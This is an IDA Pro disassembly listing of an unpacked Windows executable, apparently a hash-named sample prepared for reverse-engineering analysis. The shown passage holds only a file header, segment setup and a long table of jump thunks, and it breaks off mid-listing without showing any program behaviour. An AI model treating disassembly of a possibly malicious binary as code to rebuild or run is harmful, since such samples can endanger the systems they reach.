;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	B708E83743A9E93014452BA1D08FF897

; File Name   :	u:\work\b708e83743a9e93014452ba1d08ff897_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00110000 (1114112.)
; Section size in file		: 00110000 (1114112.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
___		segment	para public 'CODE' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
		db 5 dup(0CCh)
; ---------------------------------------------------------------------------
		jmp	loc_42F630
; ---------------------------------------------------------------------------


loc_40100A:				; DATA XREF: ___:off_43E09Co
		jmp	loc_412CB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40100F	proc near		; CODE XREF: sub_421AF0+29p
		jmp	sub_422050
sub_40100F	endp

; ---------------------------------------------------------------------------
		jmp	loc_431250
; ---------------------------------------------------------------------------
		jmp	loc_420DA0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40101E	proc near		; CODE XREF: ___:004118E3p
		jmp	sub_411910
sub_40101E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401023	proc near		; CODE XREF: ___:0040B1BDp
					; ___:0040B1CAp ...
		jmp	sub_403C00
sub_401023	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401028	proc near		; CODE XREF: sub_41FA90+34p
		jmp	sub_40B000
sub_401028	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40102D	proc near		; CODE XREF: sub_404C70+619p
					; sub_404C70+6D8p ...
		jmp	sub_40A030
sub_40102D	endp

; ---------------------------------------------------------------------------
		jmp	sub_42A100

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401037	proc near		; CODE XREF: sub_413510+3Bp
					; ___:00414B30p
		jmp	sub_4155E0
sub_401037	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40103C	proc near		; CODE XREF: sub_42F840+6Ep
					; sub_42F840+8Ap ...
		jmp	sub_432FE0
sub_40103C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401041	proc near		; CODE XREF: ___:0042EF22p
					; sub_42F840+3Fp ...
		jmp	sub_432E60
sub_401041	endp

; ---------------------------------------------------------------------------
		jmp	loc_423940

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40104B	proc near
		jmp	sub_40D130
sub_40104B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401050	proc near		; CODE XREF: sub_40B000+3Ap
					; sub_40B070+1Ap
		jmp	sub_432980
sub_401050	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401055	proc near		; CODE XREF: sub_41E660+37Bp
		jmp	sub_421C30
sub_401055	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40105A	proc near		; CODE XREF: sub_40C0C0+8p
		jmp	sub_40C280
sub_40105A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40105F	proc near		; CODE XREF: sub_431900+5Ap
					; sub_433710+50p
		jmp	sub_4318C0
sub_40105F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401064	proc near		; DATA XREF: ___:off_43E07Co
		jmp	sub_41C610
sub_401064	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401069	proc near		; CODE XREF: ___:00416EAAp
		jmp	sub_41FBD0
sub_401069	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40106E	proc near		; CODE XREF: sub_40BF60+32p
		jmp	sub_40C120
sub_40106E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401073	proc near		; CODE XREF: ___:00416EBAp
		jmp	sub_418290
sub_401073	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401078	proc near		; CODE XREF: sub_415830+5Ep
					; sub_416280+32p
		jmp	sub_4161C0
sub_401078	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40107D	proc near		; CODE XREF: sub_41E660+161p
					; sub_4223E0+3p
		jmp	sub_421A50
sub_40107D	endp

; ---------------------------------------------------------------------------
		jmp	loc_41ACE0
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_7. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40108C	proc near		; CODE XREF: sub_421C30+3p
					; ___:00421FFFp ...
		jmp	sub_422170
sub_40108C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401091	proc near		; CODE XREF: sub_40C400+43p
		jmp	sub_40CAD0
sub_401091	endp

; ---------------------------------------------------------------------------
		jmp	sub_427FF0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40109B	proc near		; CODE XREF: sub_407570+Ap
		jmp	sub_407610
sub_40109B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010A0	proc near		; CODE XREF: sub_4245F0+23p
					; sub_424790+6p ...
		jmp	sub_424500
sub_4010A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010A5	proc near		; CODE XREF: sub_430C00+F5p
					; sub_430C00+14Fp
		jmp	sub_432DF0
sub_4010A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010AA	proc near		; CODE XREF: sub_4331D0+C8p
		jmp	sub_430990
sub_4010AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010AF	proc near		; DATA XREF: ___:0043E174o
		jmp	sub_429DC0
sub_4010AF	endp

; ---------------------------------------------------------------------------


loc_4010B4:				; DATA XREF: ___:off_43E0A0o
		jmp	loc_41E2C0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010B9	proc near		; CODE XREF: sub_418330+D0p
					; sub_418490+2Dp
		jmp	sub_418A20
sub_4010B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010BE	proc near		; CODE XREF: sub_40FF60+8D9p
					; sub_40FF60+990p ...
		jmp	sub_411860
sub_4010BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010C3	proc near		; CODE XREF: ___:0042F336p
					; ___:0042F3A4p ...
		jmp	sub_430F00
sub_4010C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010C8	proc near		; CODE XREF: sub_421D50+9p
					; sub_422240+18p
		jmp	sub_4223C0
sub_4010C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010CD	proc near		; CODE XREF: sub_40A9F0+58p
					; sub_40A9F0+82p ...
		jmp	sub_40ABE0
sub_4010CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010D2	proc near		; CODE XREF: sub_422A40+3F1p
					; ___:00423AA6p ...
		jmp	sub_419AE0
sub_4010D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4010D7	proc near		; CODE XREF: sub_416010+7p
		jmp	sub_416640
sub_4010D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010DC	proc near		; CODE XREF: sub_415520+4Fp
					; sub_415E70+11p ...
		jmp	sub_4160C0
sub_4010DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010E1	proc near		; CODE XREF: sub_429C30+58p
		jmp	sub_429AA0
sub_4010E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4010E6	proc near		; CODE XREF: sub_421870+1Fp
		jmp	sub_421CB0
sub_4010E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010EB	proc near		; CODE XREF: sub_421FB0+11p
					; ___:00421FD7p ...
		jmp	sub_4224D0
sub_4010EB	endp

; ---------------------------------------------------------------------------
		jmp	loc_413D60

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010F5	proc near		; CODE XREF: sub_421A30+3p
					; ___:00421D9Fp ...
		jmp	sub_421F10
sub_4010F5	endp

; ---------------------------------------------------------------------------
		jmp	loc_414400

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010FF	proc near		; CODE XREF: sub_426F20+3p
		jmp	sub_426F50
sub_4010FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401104	proc near		; CODE XREF: sub_415A00+11p
					; ___:00415A27p ...
		jmp	sub_416470
sub_401104	endp

; ---------------------------------------------------------------------------
		jmp	loc_433310

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40110E	proc near		; CODE XREF: sub_421B60+5p
					; sub_421C50+6p ...
		jmp	sub_422150
sub_40110E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401113	proc near		; CODE XREF: ___:00416A5Bp
					; ___:00439F5Ej ...
		jmp	sub_417A60
sub_401113	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401118	proc near		; CODE XREF: sub_404C70+6Ap
					; sub_404C70+1AFp ...
		jmp	sub_412970
sub_401118	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40111D	proc near		; DATA XREF: ___:off_43E074o
		jmp	sub_4192C0
sub_40111D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401122	proc near		; CODE XREF: sub_431A20+6p
					; ___:00431A33p ...
		jmp	sub_42F480
sub_401122	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E3D0
; ---------------------------------------------------------------------------


loc_40112C:				; DATA XREF: ___:off_43E15Co
		jmp	loc_429A30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401131	proc near		; CODE XREF: ___:00423C9Dp
		jmp	sub_423760
sub_401131	endp

; ---------------------------------------------------------------------------
		jmp	loc_431F50

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40113B	proc near		; CODE XREF: ___:004150A8p
		jmp	sub_415990
sub_40113B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401140	proc near		; CODE XREF: sub_41B950+F7p
					; sub_41B950+10Bp ...
		jmp	sub_409EA0
sub_401140	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401145	proc near		; CODE XREF: sub_409910+Ap
		jmp	sub_409A00
sub_401145	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40114A	proc near		; CODE XREF: sub_4133D0+55p
					; sub_4133D0+94p ...
		jmp	sub_415770
sub_40114A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40114F	proc near		; CODE XREF: sub_425020+183p
		jmp	sub_4235F0
sub_40114F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401154	proc near		; CODE XREF: ___:00414BBEp
		jmp	sub_415520
sub_401154	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401159	proc near		; CODE XREF: sub_427600+3p
		jmp	sub_427630
sub_401159	endp

; ---------------------------------------------------------------------------


loc_40115E:				; DATA XREF: ___:off_43E038o
		jmp	loc_4118E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401163	proc near		; CODE XREF: sub_415DD0+11p
					; ___:00415DF7p ...
		jmp	sub_4165F0
sub_401163	endp

; ---------------------------------------------------------------------------
		jmp	loc_41D730

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40116D	proc near		; CODE XREF: sub_418B10+23p
					; sub_418D80+11p
		jmp	sub_418E60
sub_40116D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401172	proc near		; CODE XREF: sub_418A90+3p
					; sub_418E90+54p ...
		jmp	sub_418CE0
sub_401172	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401177	proc near		; CODE XREF: sub_409600+6Ap
					; sub_409600+103p
		jmp	sub_4098A0
sub_401177	endp

; ---------------------------------------------------------------------------
		jmp	loc_432840

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401181	proc near		; CODE XREF: ___:00413D7Dp
		jmp	sub_413B70
sub_401181	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401186	proc near		; CODE XREF: ___:0041A1E4p
		jmp	sub_41AFE0
sub_401186	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40118B	proc near		; CODE XREF: sub_4133D0+88p
					; sub_4147D0+BFp ...
		jmp	sub_415930
sub_40118B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401190	proc near		; CODE XREF: sub_42F480+7p
					; sub_42F4F0+19p ...
		jmp	sub_4338B0
sub_401190	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401195	proc near
		jmp	sub_40DB10
sub_401195	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40119A	proc near		; CODE XREF: ___:004310AAp
		jmp	sub_430A50
sub_40119A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40119F	proc near		; CODE XREF: sub_4071E0+11p
					; sub_407370+1Fp
		jmp	sub_407410
sub_40119F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011A4	proc near		; CODE XREF: sub_4036D0+3B5p
					; sub_4036D0+3C5p ...
		jmp	sub_403E00
sub_4011A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011A9	proc near		; CODE XREF: sub_421C10+3p
		jmp	sub_422190
sub_4011A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011AE	proc near		; CODE XREF: sub_40C250+Ap
		jmp	sub_40C310
sub_4011AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011B3	proc near		; CODE XREF: sub_4036D0+1Dp
					; sub_407030+1Fp ...
		jmp	sub_403C70
sub_4011B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4011B8	proc near		; CODE XREF: ___:00413274p
					; ___:0043998Cj ...
		jmp	sub_4153B0
sub_4011B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011BD	proc near		; CODE XREF: sub_42B350+3p
		jmp	sub_42B380
sub_4011BD	endp

; ---------------------------------------------------------------------------
		jmp	loc_40AF00

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4011C7	proc near		; CODE XREF: ___:00414BCDp
		jmp	sub_414C70
sub_4011C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011CC	proc near		; CODE XREF: sub_407610+7p
					; sub_409A00+7p ...
		jmp	sub_407640
sub_4011CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011D1	proc near		; CODE XREF: sub_413510+73p
					; ___:00414B6Dp ...
		jmp	sub_415600
sub_4011D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011D6	proc near		; CODE XREF: sub_41E660+58p
		jmp	sub_420530
sub_4011D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011DB	proc near		; CODE XREF: sub_413DA0+84p
		jmp	sub_4137E0
sub_4011DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011E0	proc near		; CODE XREF: ___:00432428p
		jmp	sub_42FD70
sub_4011E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011E5	proc near		; CODE XREF: sub_4074C0+8p
		jmp	sub_4075A0
sub_4011E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011EA	proc near		; CODE XREF: sub_404C70+9Fp
					; sub_404C70+230p ...
		jmp	sub_40A430
sub_4011EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4011EF	proc near		; CODE XREF: sub_40A790+21p
					; sub_40A9F0+A5p
		jmp	sub_40A9D0
sub_4011EF	endp

; ---------------------------------------------------------------------------
		jmp	loc_40AF70

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011F9	proc near		; CODE XREF: sub_40A430+129p
					; sub_40A810+4p ...
		jmp	sub_40A7E0
sub_4011F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011FE	proc near		; DATA XREF: ___:off_43E0DCo
		jmp	sub_426650
sub_4011FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401203	proc near		; CODE XREF: ___:004322BDp
		jmp	sub_42FA70
sub_401203	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401208	proc near		; CODE XREF: sub_4072F0+3p
					; ___:004073BFp ...
		jmp	sub_407480
sub_401208	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40120D	proc near		; CODE XREF: sub_41D830+346p
					; sub_41D830+410p ...
		jmp	sub_421870
sub_40120D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401212	proc near		; CODE XREF: sub_421AB0+11p
					; sub_421FB0+1Fp
		jmp	sub_4220E0
sub_401212	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401217	proc near		; CODE XREF: sub_42B4F0+3p
		jmp	sub_42B520
sub_401217	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40121C	proc near
		jmp	sub_407790
sub_40121C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401221	proc near		; CODE XREF: sub_40C120+5Fp
		jmp	sub_40C2F0
sub_401221	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401226	proc near		; CODE XREF: sub_4034E0+F6p
					; sub_4034E0+12Ep ...
		jmp	sub_409C30
sub_401226	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40122B	proc near		; CODE XREF: sub_41E660+113p
					; sub_41E660+124p
		jmp	sub_421A30
sub_40122B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401230	proc near		; DATA XREF: ___:0043E060o
		jmp	sub_41F860
sub_401230	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401235	proc near		; CODE XREF: ___:00416AFBp
					; ___:00439ED2j ...
		jmp	sub_4176B0
sub_401235	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40123A	proc near		; CODE XREF: sub_40AEC0+Fp
		jmp	sub_42FF50
sub_40123A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40123F	proc near		; CODE XREF: sub_418B10+32p
		jmp	sub_418D80
sub_40123F	endp

; ---------------------------------------------------------------------------
		jmp	loc_433570

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401249	proc near		; CODE XREF: sub_415420+5p
					; sub_415620+6p ...
		jmp	sub_416030
sub_401249	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40124E	proc near		; CODE XREF: sub_40BCB0+29p
					; sub_40BDD0+29p
		jmp	sub_40BF60
sub_40124E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401253	proc near		; CODE XREF: sub_41E660+3E9p
					; ___:0043B1ABj
		jmp	sub_421AF0
sub_401253	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401258	proc near		; CODE XREF: sub_4144D0+BFp
		jmp	sub_415210
sub_401258	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40125D	proc near		; CODE XREF: sub_4164E0+Ap
		jmp	sub_416820
sub_40125D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401262	proc near		; CODE XREF: ___:00416B67p
					; ___:00439E73j ...
		jmp	sub_416FB0
sub_401262	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401267	proc near
		jmp	sub_418330
sub_401267	endp

; ---------------------------------------------------------------------------
		jmp	sub_416C30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401271	proc near		; CODE XREF: ___:00416E1Fp
		jmp	sub_417FD0
sub_401271	endp

; ---------------------------------------------------------------------------
		jmp	loc_414690
; ---------------------------------------------------------------------------
		jmp	loc_42F030

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401280	proc near		; CODE XREF: sub_40FF60+387p
					; sub_41EF30+21Dp ...
		jmp	sub_41B6E0
sub_401280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401285	proc near		; CODE XREF: ___:00416E5Ap
		jmp	sub_418180
sub_401285	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40128A	proc near		; CODE XREF: sub_409490+8p
		jmp	sub_4094E0
sub_40128A	endp

; ---------------------------------------------------------------------------
		jmp	loc_429A30

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401294	proc near		; CODE XREF: sub_409600+A5p
					; sub_412BC0+21p
		jmp	sub_409810
sub_401294	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401299	proc near		; CODE XREF: sub_404C70+385p
					; sub_41D830+5AAp
		jmp	sub_41C030
sub_401299	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40129E	proc near		; CODE XREF: ___:00416D6Fp
		jmp	sub_4036D0
sub_40129E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012A3	proc near		; CODE XREF: sub_418BC0+23p
					; sub_418E90+11p
		jmp	sub_418FE0
sub_4012A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012A8	proc near		; CODE XREF: sub_424840+Cp
					; sub_424840+3Ep ...
		jmp	sub_424330
sub_4012A8	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F670

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012B2	proc near		; CODE XREF: sub_404C70+860p
					; sub_404C70+ADCp ...
		jmp	sub_40A290
sub_4012B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012B7	proc near		; CODE XREF: ___:0042EB16p
					; ___:0042EB66p ...
		jmp	sub_431490
sub_4012B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012BC	proc near		; CODE XREF: sub_41E660+367p
					; sub_41E660+3D4p ...
		jmp	sub_421C80
sub_4012BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012C1	proc near		; DATA XREF: sub_426A60+107o
		jmp	sub_426CE0
sub_4012C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012C6	proc near		; CODE XREF: sub_424720+18p
					; sub_424760+Ap ...
		jmp	sub_4246D0
sub_4012C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012CB	proc near		; CODE XREF: sub_416120+9p
					; sub_4161C0+18p
		jmp	sub_4167D0
sub_4012CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012D0	proc near		; DATA XREF: sub_431280+32o
		jmp	sub_431A80
sub_4012D0	endp

; ---------------------------------------------------------------------------
		jmp	loc_42EB60
; ---------------------------------------------------------------------------
		jmp	loc_419BB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012DF	proc near		; CODE XREF: sub_429AA0+67p
		jmp	sub_41FEF0
sub_4012DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4012E4	proc near		; CODE XREF: ___:0042EEF8p
					; sub_42F0B0+2p ...
		jmp	sub_430270
sub_4012E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012E9	proc near		; CODE XREF: sub_413670+3Fp
					; sub_4144D0+40p ...
		jmp	sub_415160
sub_4012E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012EE	proc near		; CODE XREF: sub_404640+19Fp
					; sub_404640+212p ...
		jmp	sub_409EF0
sub_4012EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012F3	proc near		; CODE XREF: sub_424E90+B5p
					; sub_424E90+F1p
		jmp	sub_424E20
sub_4012F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012F8	proc near		; CODE XREF: sub_425020+127p
		jmp	sub_424E90
sub_4012F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012FD	proc near		; CODE XREF: ___:00416E3Ap
		jmp	sub_418080
sub_4012FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401302	proc near		; CODE XREF: ___:00416E0Fp
		jmp	sub_417F10
sub_401302	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401307	proc near		; CODE XREF: sub_4303D0+1p
		jmp	sub_430460
sub_401307	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40130C	proc near		; CODE XREF: ___:00425F11p
		jmp	sub_426450
sub_40130C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401311	proc near		; CODE XREF: sub_418330+71p
					; sub_418330+BBp ...
		jmp	sub_4189F0
sub_401311	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401316	proc near		; CODE XREF: sub_40A0A0+7p
		jmp	sub_40A0C0
sub_401316	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40131B	proc near		; CODE XREF: ___:004316D8p
					; sub_431730+2Bp
		jmp	sub_431900
sub_40131B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401320	proc near		; CODE XREF: sub_431280+1p
		jmp	sub_4314C0
sub_401320	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401325	proc near		; CODE XREF: sub_4207E0+37Bp
		jmp	sub_421BD0
sub_401325	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40132A	proc near		; CODE XREF: sub_414360+5Bp
		jmp	sub_415030
sub_40132A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40132F	proc near		; CODE XREF: sub_4153B0+29p
					; sub_4154D0+29p
		jmp	sub_415F30
sub_40132F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401334	proc near		; CODE XREF: ___:00435F42p
					; ___:00435F52p ...
		jmp	sub_435E00
sub_401334	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401339	proc near		; CODE XREF: sub_4133D0+5Fp
					; sub_4133D0+9Ep ...
		jmp	sub_415960
sub_401339	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40133E	proc near		; CODE XREF: sub_40B520+62p
					; ___:0040B9E8p ...
		jmp	sub_40BE60
sub_40133E	endp

; ---------------------------------------------------------------------------
		jmp	loc_4300C0
; ---------------------------------------------------------------------------
		jmp	loc_42EC40

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40134D	proc near		; DATA XREF: ___:0043E1A8o
		jmp	sub_42B3A0
sub_40134D	endp

; ---------------------------------------------------------------------------
		jmp	loc_42B2E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401357	proc near		; CODE XREF: sub_416090+8p
		jmp	sub_4166B0
sub_401357	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40135C	proc near		; CODE XREF: sub_4133D0+71p
					; sub_4133D0:loc_41349Cp ...
		jmp	sub_415910
sub_40135C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401361	proc near		; CODE XREF: sub_418330+AFp
					; sub_418FE0+3p
		jmp	sub_418AB0
sub_401361	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401366	proc near		; DATA XREF: ___:0043E104o
		jmp	sub_426A60
sub_401366	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40136B	proc near		; CODE XREF: sub_40B520+39p
					; sub_40B520+78p ...
		jmp	sub_40BE90
sub_40136B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401370	proc near		; CODE XREF: sub_4257A0+29p
					; sub_4257A0+38p
		jmp	sub_4256B0
sub_401370	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401375	proc near		; CODE XREF: sub_41A500+1Cp
		jmp	sub_41A540
sub_401375	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40137A	proc near		; DATA XREF: ___:0043E164o
		jmp	sub_429C30
sub_40137A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40137F	proc near		; CODE XREF: ___:00408BD9p
					; ___:00414481p
		jmp	sub_414230
sub_40137F	endp


; =============== S U B	R O U T	I N E =======================================

